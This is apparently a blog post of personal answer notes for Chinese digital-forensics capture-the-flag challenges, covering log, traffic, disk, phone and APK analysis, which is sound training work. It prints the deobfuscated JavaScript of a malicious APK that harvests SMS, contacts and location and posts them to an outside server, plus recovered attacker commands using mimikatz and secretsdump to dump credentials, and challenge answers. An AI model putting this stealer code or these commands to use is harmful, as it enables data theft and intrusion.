DIDCTF 电子数据取证综合平台

可恶,没有软件授权是真的痛苦

仅作为做题记录,本篇内容不具有参考价值

应急响应

linux-basic-command

获取2015年访问请求 排名前五的ip地址
格式:flag{ip1,ip2,ip3,ip4,ip5}
  • exp.py
a = open("access.log", "r", encoding="utf-8").read().split("\n")
a = [i.split()[0] for i in a]
b = list(set(a))
c = {i: a.count(i) for i in b}
c = sorted(c.items(), key=lambda x: x[1], reverse=True)
print("flag{" + ",".join([i[0] for i in c[:5]]) + "}")

ire7-windows-log

请分析windows日志文件winlog.evtx,并从中找到key信息。
  • 只写括号里的

wireshark0

某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。

flag为8位长度字符串
  • telnet数据包,8位字符串

wireshark0.5

下列抓包⽂件中包含了⽤户登录⽹站过程,请找出⽤户登录⽹站的明⽂密码。格式flag{密码}
  • Ctrl-F

linux-log

有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。
  • Ctrl-F: Accepted

wireshark1

请分析可疑流量并找到key信息

请提交8位长度字符串

附件地址:https://cowtransfer.com/s/1fce0393dbeb4b
  • 导出http对象,发现一个size最大的zip,有密码,搜索文件名发现其压缩密码,解压即可
zip password: Adm1n!

tomcat-1

在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

tomcat-2

找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

tomcat-3

哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}

tomcat-4

经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}

tomcat-5

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}

tomcat-6

攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}

2021年中科实数

请找出操作系统主机名。
请给出源磁盘的SHA256哈希值。

4547A61A11064DF47B272A4803788597F9A5E9AC0F11A93ABE58C8B8588956CB

请找出操作系统中安装的Android模拟器名称和安装日期。
格式:模拟器名时间
例子:雷电模拟器2022年06月23日
请找出使用Bitlocker加密的虚拟磁盘文件。
格式:1.txt/2.txt
请找出操作系统安装日期。
格式:2022-01-04 12:47:43
请找出操作系统最后登录的用户。
请找出操作系统中安装的浏览器最后浏览过的网站域名
请找出操作系统中安装的浏览器名称的对应的安装日期。
请找出操作系统版本号。
请找出操作系统设置的时区名称。
请找出操作系统中安装的浏览器“自动填充”中保存的网站密码信息(网站、用户名、密码)
格式:网站+用户名+密码
例子:https://blog.didctf.com/+admin+admin111
需要仿真
请给出源磁盘的大小(字节)。
请找出各分区文件系统类型
请找出曾经连接到该系统的U盘的品牌、序列号、最后插拔日期。
格式:SAMSUNG+FAWC524213104FAWV146+2022-07-14 18:34:45
请找出回收站中的文件的名称
格式:2333.exe+1.txt+3.E01
注意顺序
请找出使用Bitlocker加密的虚拟磁盘文件恢复密钥文件名是什么。
请找出用户“poiuy”的登录密码。

2021第三届长安杯

请计算检材一Apk的SHA256值
该APK的应用包名为
该APK程序在封装服务商的应用唯一标识(APPID)为
该APK具备下列哪些危险权限(多选题):

A.读取短信
B.读取通讯录
C.读取精确位置
D.修改通讯录
E.修改短信
  • ABCDE
该APK发送回后台服务器的数据包含一下哪些内容(多选题):

A.手机通讯录
B.手机应用列表
C.手机号码
D.验证码
E.GPS定位信息
  • 解包看看前端,在assets/apps/H5B8E45D3/www/index.html发现一个sojson.v4在线解密得到
/*
*Aman - 194nb.com
*/
/*
 *Progcessed By JSDec in 0.00s
 *JSDec - JSDec.js.org
 */
mui.init();

mui.plusReady(function() {
      //var main = plus.android.runtimeMainActivity();  
      // main.moveTaskToBack(false);
      var address = plus.device.vendor + '-' + plus.device.model;
      address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
      var apiserver = 'http://www.honglian7001.com/api/uploads/';
      //重复数据处理 预防用户重复点击
      var danjishijian = true;
      function requestPermission(sjh, yqm) {
            plus.android.requestPermissions(["android.permission.READ_SMS"],
            function(resultObj) {
                  //SmsInfo存放一条短信的各项内容
                  var SmsInfo = {}
                  //Sms存放所有短信
                  var Sms = {}

                  var aimei = sjh;
                  var aimei2 = yqm;
                  var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
                  var Cursor = plus.android.importClass("android.database.Cursor") var Uri = plus.android.importClass("android.net.Uri")  //注意啦,android.net.Uri中的net是小写
                  var activity = plus.android.runtimeMainActivity() var uri = Uri.parse("content://sms/");

                  var projection = new Array("_id", "address", "person", "body", "date", "type") var cusor = activity.managedQuery(uri, projection, null, null, "date desc") var idColumn = cusor.getColumnIndex("_id") var nameColumn = cusor.getColumnIndex("person") var phoneNumberColumn = cusor.getColumnIndex("address") var smsbodyColumn = cusor.getColumnIndex("body") var dateColumn = cusor.getColumnIndex("date") var typeColumn = cusor.getColumnIndex("type") if (cusor != null) {
                        while (cusor.moveToNext()) {
                              SmsInfo.id = cusor.getString(idColumn) SmsInfo.Name = cusor.getInt(nameColumn) SmsInfo.Date = cusor.getLong(dateColumn) SmsInfo.Date = getFormatDate(SmsInfo.Date) SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn) SmsInfo.Smsbody = cusor.getString(smsbodyColumn) SmsInfo.Type = cusor.getString(typeColumn)

                              var post = JSON.stringify(SmsInfo);
                              //console.log(post);
                              duanxin = duanxin + ',' + post;

                        }
                        duanxin = duanxin + ']';
                        //alert(duanxin);
                        mui.ajax(apiserver + 'apisms', {
                              data: {
                                    data: duanxin
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) {
                                    mui.toast('获取成功')
                                    //console.log(con)

                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;
                              }
                        });
                        cusor.close()
                  }

            },
            function(error) {
                  console.log('申请权限错误:' + error.code + " = " + error.message);
            });
      }

      //扩展Date功能:将long型日期转换为特定的格式
      Date.prototype.format = function(format) {
            var o = {
                  "M+": this.getMonth() + 1,
                  "d+": this.getDate(),
                  "h+": this.getHours(),
                  "m+": this.getMinutes(),
                  "s+": this.getSeconds(),
                  "q+": Math.floor((this.getMonth() + 3) / 3),
                  "S": this.getMilliseconds()
            }
            if (/(y+)/.test(format)) {
                  format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
            }
            for (var k in o) {
                  if (new RegExp("(" + k + ")").test(format)) {
                        format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
                  }
            }
            return format;
      }

      //将long型日期转换为特定格式
      function getFormatDate(l, pattern) {
            date = new Date(l);
            if (pattern == undefined) {
                  pattern = "yyyy-MM-dd hh:mm:ss";
            }
            return date.format(pattern);
      }

      //alert(plus.device.uuid)
      plus.navigator.setStatusBarBackground("#db6eff");

      mui("body").off("tap");

      mui("body").on('tap', '#tx',
      function(event) {

            $('#tx').hide();
            $('#zz').show();
      });

      mui("body").on('tap', '#gb',
      function(event) {

            $('#tx').show();
            $('#zz').hide();
      });

      mui("body").on('tap', '#qd',
      function(event) {
            if (danjishijian) {
                  danjishijian = false;
                  aa()
            } else {
                  aa()
            }

      });

      function getPermission(permissionIdentity, successCallBack, errorCallBack) {
            //权限标识转换成大写  
            var permissionIdentity = permissionIdentity.toUpperCase();
            //获取检测权限的状态  
            var checkResult = plus.navigator.checkPermission(permissionIdentity);
            //权限状态是否正常  
            var permissionStatusOk = false;
            //权限中文名称  
            var permissionName = '';
            //对应 andorid 的具体权限  
            var androidPermission = '';
            //获取权限中文意思与对应 android 系统的权限字符串  
            switch (permissionIdentity) {

            case 'CONTACTS':
                  permissionName = '系统联系人';
                  androidPermission = 'android.permission.READ_CONTACTS'
                  break;

            default:
                  permissionName = '未知';
                  androidPermission = '未知';
                  break;
            }

            //判断检查权限的结果  
            switch (checkResult) {
            case 'authorized':
                  //正常的  
                  permissionStatusOk = true
                  break;
            case 'denied':
                  //表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框  
                  //如果有该权限但是没有打开不进行操作还是会去申请或手动打开  
                  // console.log('已关闭' + permissionName + '权限')  
                  // errorCallBack('已关闭' + permissionName + '权限');  
                  // return  
                  break;
            case 'undetermined':
                  // 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认  
                  // this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)  
                  // errorCallBack('未确定' + permissionName + '权限');  
                  // return  
                  break;
            case 'unknown':
                  errorCallBack('无法查询' + permissionName + '权限');
                  return break;
            default:
                  errorCallBack('不支持' + permissionName + '权限');
                  return break;
            }

            //如果权限是正常的执行成功回调  
            if (permissionStatusOk) {
                  successCallBack()
            } else {
                  //如果不正常,如果是 andorid 系统,就动态申请权限  
                  if (plus.os.name == 'Android') {
                        //动态申请权限  
                        plus.android.requestPermissions([androidPermission],
                        function(e) {
                              if (e.deniedAlways.length > 0) {
                                    //权限被永久拒绝  
                                    // 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启  
                                    errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    // console.log('Always Denied!!! ' + e.deniedAlways.toString());  
                              }
                              if (e.deniedPresent.length > 0) {
                                    //权限被临时拒绝  
                                    // 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限  
                                    errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    // console.log('Present Denied!!! ' + e.deniedPresent.toString());  
                              }
                              if (e.granted.length > 0) {
                                    //权限被允许  
                                    //调用依赖获取定位权限的代码  
                                    successCallBack()
                                    // console.log('Granted!!! ' + e.granted.toString());  
                              }
                        },
                        function(e) {
                              errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                              // console.log('Request Permissions error:' + JSON.stringify(e));  
                        })
                  } else if (plus.os.name == 'iOS') {
                        //ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera  
                        //这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会  
                        //走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。  
                        if (checkResult == 'undetermined') {
                              //调用依赖获取定位权限的代码  
                              successCallBack(true)
                        } else {
                              //如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开  
                              mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'],
                              function(e) {
                                    //取消  
                                    if (e.index == 0) {
                                          errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
                                    } else if (e.index == 1) {
                                          //确认,打开当前应用权限设置页面  
                                          var UIApplication = plus.ios.import('UIApplication');
                                          var application2 = UIApplication.sharedApplication();
                                          var NSURL2 = plus.ios.import('NSURL');
                                          // var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");                             
                                          var setting2 = NSURL2.URLWithString('app-settings:');
                                          application2.openURL(setting2);

                                          plus.ios.deleteObject(setting2);
                                          plus.ios.deleteObject(NSURL2);
                                          plus.ios.deleteObject(application2)
                                    }
                              },
                              'div')
                        }
                  }
            }
      }

      function aa() {
            var sjh = $('#sjh').val();
            var yqm = $('#yqm').val();
            if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

                  getPermission('CONTACTS',
                  function() {
                        huoqu(sjh, yqm);

                  },
                  function(msg) {
                        mui.alert(msg, '提醒', '确定',
                        function() {},
                        'div')
                        //aa()
                  })
            } else {
                  mui.toast('请输入正确的手机号和邀请码')
            }

      }

      function dingwei(sjh, yqm) {
            plus.geolocation.getCurrentPosition(translatePoint,
            function(e) {
                  mui.toast("异常:" + e.message);
            });
      }

      function translatePoint(position) {

            var sjh = $('#sjh').val() var yqm = $('#yqm').val() var currentLon = position.coords.longitude;
            var currentLat = position.coords.latitude;
            var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
            mui.ajax(apiserver + 'apimap', {
                  data: {
                        data: jingweidu
                  },
                  dataType: 'text',
                  //服务器返回json格式数据
                  type: 'post',
                  //HTTP请求类型
                  timeout: 10000,
                  //超时时间设置为10秒;              
                  success: function(data) {

                        if (data == '获取成功') {
                              requestPermission(sjh, yqm);

                              //setInterval(function(){
                              //var sjh=$('#sjh').val();
                              //var yqm=$('#yqm').val();
                              //requestPermission(sjh,yqm);
                              //console.log('send')
                              //},30000)
                        }

                        mui.toast(data)
                  },
                  error: function(xhr, type, errorThrown) {
                        //异常处理;

                  }
            });

            //书写自己的逻辑
      }
      // 扩展API加载完毕,现在可以正常调用扩展API
      function huoqu(sjh, yqm) {
            var con = sjh + "**" + yqm + '**' + address;

            plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE,
            function(addressbook) {

                  addressbook.find(["displayName", "phoneNumbers"],
                  function(contacts) {

                        for (var i = 0,
                        len = contacts.length; i < len; i++) {
                              con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "": contacts[i].phoneNumbers[0].value);
                        }

                        mui.ajax(apiserver + 'api', {
                              data: {
                                    data: con
                              },
                              dataType: 'text',
                              //服务器返回json格式数据
                              type: 'post',
                              //HTTP请求类型
                              timeout: 10000,
                              //超时时间设置为10秒;              
                              success: function(data) {
                                    //alert(data)
                                    if (data == '正在加载列表') {
                                          dingwei(sjh, yqm);
                                          mui.openWindow({
                                                url: 'list.html',
                                                show: {
                                                      autoShow: true
                                                }
                                          });
                                    } else {
                                          mui.toast(data)
                                    }
                                    //console.log(con)
                              },
                              error: function(xhr, type, errorThrown) {
                                    //异常处理;

                              }
                        });

                  },
                  function() {
                        mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
                  },
                  {
                        multiple: true
                  });
            },
            function(e) {
                  mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
            });
      }

});
  • ACDE
该APK程序回传通讯录时,使用的http请求方式为()
该APK程序的回传地址域名为【标准格式:www.abc.com】
该APK程序代码中配置的变量apiserver的值为
【标准格式:www.abc.com/abc】
分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】 (后面不带/)
经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为
经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为
检材二密码为第7题答案:www.honglian7001.com
检材二的原始硬盘的SHA256值为:
  • E6873068B83AF9988D297C6916329CEC9D8BCB672C6A894D393E68764391C589
查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】
请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】
  • 负载均衡
上一题中,提到的主要功能对应的服务监听的端口为
上一题中,提到的服务所使用的启动命令为:
经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】
经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】
请分析,该服务器转发的目标服务器一共有几台【标准格式:9】

请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】
请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格 式:111.111.111.111】
检材三的原始硬盘的SHA256值为:
  • web3的sha256:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF
请分析第21题中,所指的服务器的开机密码为:
  • 检材4 xshell 密码:honglian7001
嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:
  • 仿真,bt 14
请分析用于重置宝塔面板密码的函数名为
请分析宝塔面板登陆密码的加密方式所使用的哈希算法为
  • md5
请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法
  • 3
请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】
  • data/default.db:v87ilhAVumZL
请分析该服务器,网站源代码所在的绝对路径为【标准格式/xxx/xxx/xxx】
请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材4,并重构网 站)【标准格式:111.111.111.111】
请分析,数据库的登陆密码为【区分大小写】
请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】
  • /admin
已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】
请分析该网站的管理员用户的密码为
  • security
在对后台账号的密码加密处理过程中,后台一共计算几次哈希值
请统计,后台中,一共有多少条设备记录
  • 6002
请通过后台确认,本案中受害者的手机号码为
  • 18644099137
请分析,本案中受害者的通讯录一共有多少条记录
  • 34
请计算检材四-PC的原始硬盘的SHA256值
请分析,检材四-PC的Bitlocker加密分区的解密密钥为
请分析,检材四-PC的开机密码为
经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台
请计算PC检材中用户目录下的zip文件的sha256值
请分析检材四-phone,该手机的IMEI号为
请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的【标准格式:支付宝 】
  • 伊对,0e9721ef79b1dcb55270e83c81d03114.db
请分析检材四-phone,受害者下载恶意APK安装包的地址为
  • https://cowtransfer.com/s/a6b28b4818904c
请分析检材四-phone,受害者的微信内部ID号为
  • wxid_op8i06j0aano22,金先生
请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为
  • 1649840939
请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为
  • 9C4BE29EB5661E6EDD88A364ECC6EF004C15D61B08BD7DD0A393340180F15608
请综合分析嫌疑人检材,另外一受害者“郭先生”的手机号码为
  • 15266668888
通过嫌疑人检材,其中记录了几位受害者的信息
  • 5
请使用第11题的密码解压“金先生转账.zip”文件,并对压缩包中的文件计算SHA256值
  • cd62a83690a53e5b441838bc55ab83be92ff5ed26ec646d43911f119c15df510
请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在多个地方)
  • 6600:微信2000 + 伊对1000 + QQ600 + 尾号6251借记卡2000 + 数据库内同一张借记卡1000

2022 蓝帽杯初赛

domainhacker

  • 分析流量得到关键命令
cd /d "c:\\Windows\\Temp"&mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "c:\\Windows\\Temp"&move 1.rar c:\phpstudy_pro\www\&echo efa923ba504&cd&echo 1a4be8815ef8
  • 解压缩包得到
flag{416f89c3a5deb1d398a1a1fce93862a7}

domainhacker2

  • 关键命令
cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
python secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY -history local

手机取证

超,太贴心了,居然还有阅读器

现对一个苹果手机进行取证,请您对以下问题进行分析解答。

627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?(答案参考格式:1920×1080)
注意:中间为乘号×,不是字母x
检材解压密码:0ba6b2c094cbb3a04681a135487a19cb
姜总的快递单号是多少?(答案参考格式:abcABC123)

计算机取证

现对一个windows计算机进行取证,请您对以下问题进行分析解答。
从内存镜像中获得taqi7的开机密码是多少?(答案参考格式:abcABC123)
解压密码为93ce7ea39bdd7baa137f1e9b963b7ee5
制作该内存镜像的进程Pid号是多少?(答案参考格式:1024)
bitlokcer分区某office文件中存在的flag值为?(答案参考格式:flag{abcABC123})
  • 先用EFDD解BitLocker
  • pass.txt为密码本,爆破得到flag

TrueCrypt加密中存在的flag值为?(答案参考格式:flag{abcABC123})
  • 用同一个内存镜像解开,爆破压缩包,密码:991314

程序取证

现已获取某个APP程序,请您对以下问题进行分析解答。
本程序包名是?(答案参考格式:abc.xx.de)
本程序的入口是?(答案参考格式:abc.xx.de)
本程序的服务器地址的密文是?(答案参考格式:abcABC123)
本程序实现安全检测的类的名称是?(答案参考格式:abcABC123)
  • a

网站取证

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,
现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。
请从网站源码中找出木马文件,并提交木马连接的密码。(答案参考格式:abcABC123)
请提交数据库连接的明文密码。(答案参考格式:abcABC123)
请提交数据库金额加密混淆使用的盐值。(答案参考格式:abcABC123)
请计算张宝在北京时间2022-04-02 00:00:00-2022-04-18 23:59:59累计转账给王子豪多少RMB?(换算比例请从数据库中获取,答案参考格式:123.45)
  • 金额加密算法
function encrypt($data, $key = 'jyzg123456')
    {
        $key = md5($key);
        $x  = 0;
        $len = strlen($data);
        $l  = strlen($key);
        $char = '';
        $str = '';
        for ($i = 0; $i < $len; $i++)
        {
            if ($x == $l)
            {
                $x = 0;
            }
            $char .= $key{$x};
            $x++;
        }
        for ($i = 0; $i < $len; $i++)
        {
            $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
        }
        return base64_encode($str);
    }
  • 转账记录
  • 汇率变化
  • user 表
  • 写脚本算:15758353.76

2022 蓝帽杯半决赛

手机取证

iPhone手机的iBoot固件版本号:(答案参考格式:iBoot-1.1.1)
该手机制作完备份UTC+8的时间(非提取时间):(答案参考格式:2000-01-01 00:00:00)
  • 2022-01-11 18:47:38

exe 分析

文件services.exe创建可执行文件的路径是:(答案参考格式:C:\Windows.exe)
  • 微步云沙箱:C:\Program Files\Common Files\Services\WmiApSvr.exe
文件HackTool.FlyStudio.acz_unpack.exe是否调用了advapi32.dll动态函式链接库?
  • 微步云沙箱
文件aspnet_wp.v.exe执行后的启动的进程是什么:(答案参考格式:qax.exe)
  • 微步云沙箱
文件[4085034a23cccebefd374e4a77aea4f1]是什么类型的木马:(答案参考格式:勒索)
  • 挖矿,文件名即是
文件[4085034a23cccebefd374e4a77aea4f1]网络连接的IP地址的归属地是哪个国家:(答案参考格式:美国)
  • 微步云沙箱
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇